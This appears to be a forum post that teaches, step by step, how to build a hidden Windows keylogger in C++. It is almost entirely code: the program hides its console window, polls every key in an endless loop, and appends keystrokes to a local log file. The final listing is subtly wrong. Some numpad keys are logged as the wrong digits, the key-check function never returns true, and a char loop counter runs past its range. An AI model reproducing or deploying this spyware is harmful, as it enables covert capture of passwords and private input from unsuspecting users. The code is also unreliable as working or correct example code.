#1
Today I will teach everyone on here how write a simple keylogger in C++.

First before we begin, you need to install Visual Studio (I prefer Visual Studio 2015)

Now in the left top corner press ''New -> Project -> Visual C++ -> Win32 Console Application -> OK (also choose name for the project) -> Next -> Finish"

Now you need to make sure you have this:


CODE:
----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
int main()
{

}

​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
int main is where you will call all functions & voids from later.

Now, to make the window hidden / so you can't see it.

You will also need to include some stuff.


CODE:
​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
#include "stdafx.h"

#include <fstream>
#include <Windows.h>
#include <string>

using namespace std;


void hide_window()
{
HWND console;
AllocConsole();
console = FindWindowA("ConsoleWindowClass", 0);
ShowWindow(console, 0);
}

int main()
{
hide_window(); // call hide window inside int main, if you skip this it's not gonna work.
}

​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
Now, we need to make a bool to check keys that are not normally within int -32767 (-32767 include almost all keys)

We also need to make a void that writes a log and use it in the bool so ALL keys/numbers get registered.


CODE:
​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
#include "stdafx.h"

#include <fstream>
#include <Windows.h>
#include <string>

using namespace std;


void hide_window()
{
HWND console;
AllocConsole();
console = FindWindowA("ConsoleWindowClass", 0);
ShowWindow(console, 0);
}
void write_to_log(std::string text)
{
ofstream log; //defines ofstream log
log.open("log.txt", fstream::app); // opens log.txt file
log << text; // writes std::string text to log
log.close(); // closes log
}

bool check_keys(int key)
{
switch (key) // numpad 0-9 registered, you can add more symbol, special keys if you want
{
case VK_NUMPAD0: {
write_to_log("0");
break;
}
case VK_NUMPAD1: {
write_to_log("1");
break;
}
case VK_NUMPAD2: {
write_to_log("2");
break;
}
case VK_NUMPAD3: {
write_to_log("3");
break;
}
case VK_NUMPAD4: {
write_to_log("4");
break;
}
case VK_NUMPAD5: {
write_to_log("5");
break;
}
case VK_NUMPAD6: {
write_to_log("6");
break;
}
case VK_NUMPAD7: {
write_to_log("7");
break;
}
case VK_NUMPAD8: {
write_to_log("8");
break;
}
case VK_NUMPAD9: {
write_to_log("9");
break;
}
default: return false;
}
}

int main()
{
hide_window(); // call hide window inside int main, if you skip this it's not gonna work.
}

----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
Next, we need to call these other functions we just made inside int main()

CODE:
----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
#include "stdafx.h"

#include <fstream>
#include <Windows.h>
#include <string>

using namespace std;


void hide_window()
{
HWND console;
AllocConsole();
console = FindWindowA("ConsoleWindowClass", 0);
ShowWindow(console, 0);
}
void write_to_log(std::string text)
{
ofstream log; //defines ofstream log
log.open("log.txt", fstream::app); // opens log.txt file
log << text; // writes std::string text to log
log.close(); // closes log
}

bool check_keys(int key)
{
switch (key) // numpad 0-9 registered, you can add more symbol, special keys if you want
{
case VK_NUMPAD0: {
write_to_log("0");
break;
}
case VK_NUMPAD1: {
write_to_log("0");
break;
}
case VK_NUMPAD2: {
write_to_log("1");
break;
}
case VK_NUMPAD3: {
write_to_log("3");
break;
}
case VK_NUMPAD4: {
write_to_log("4");
break;
}
case VK_NUMPAD5: {
write_to_log("5");
break;
}
case VK_NUMPAD6: {
write_to_log("6");
break;
}
case VK_NUMPAD7: {
write_to_log("7");
break;
}
case VK_NUMPAD8: {
write_to_log("8");
break;
}
case VK_NUMPAD9: {
write_to_log("9");
break;
}
default: return false;
}
}

int main()
{
hide_window(); // call hide window inside int main, if you skip this it's not gonna work.
char key; // defines char key
while (1) // 1 stands for true & enabled, so while its enabled this below is going to run
{
for (key = 8; key <= 255; key++)
{
if (GetAsyncKeyState(key) == -32767) // checks keys from int -32767
{
if (check_keys(key) == NULL) // checks if check_keys is NULL, which it is by default and runs the code below.
{
ofstream log; // define ofstream log
log.open("log.txt", fstream::app); // opens log.txt
log << key; // logs key
log.close(); // closes log
}
}
}
}
}

----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​----------​​​​​​​--
Now change from Debug to Release and x86 to x64.

And that's about it. Build the program and launch and test it for yourself.

Please don't be a scriptkiddie and try to learn from this instead of just copy-pasting, thank you!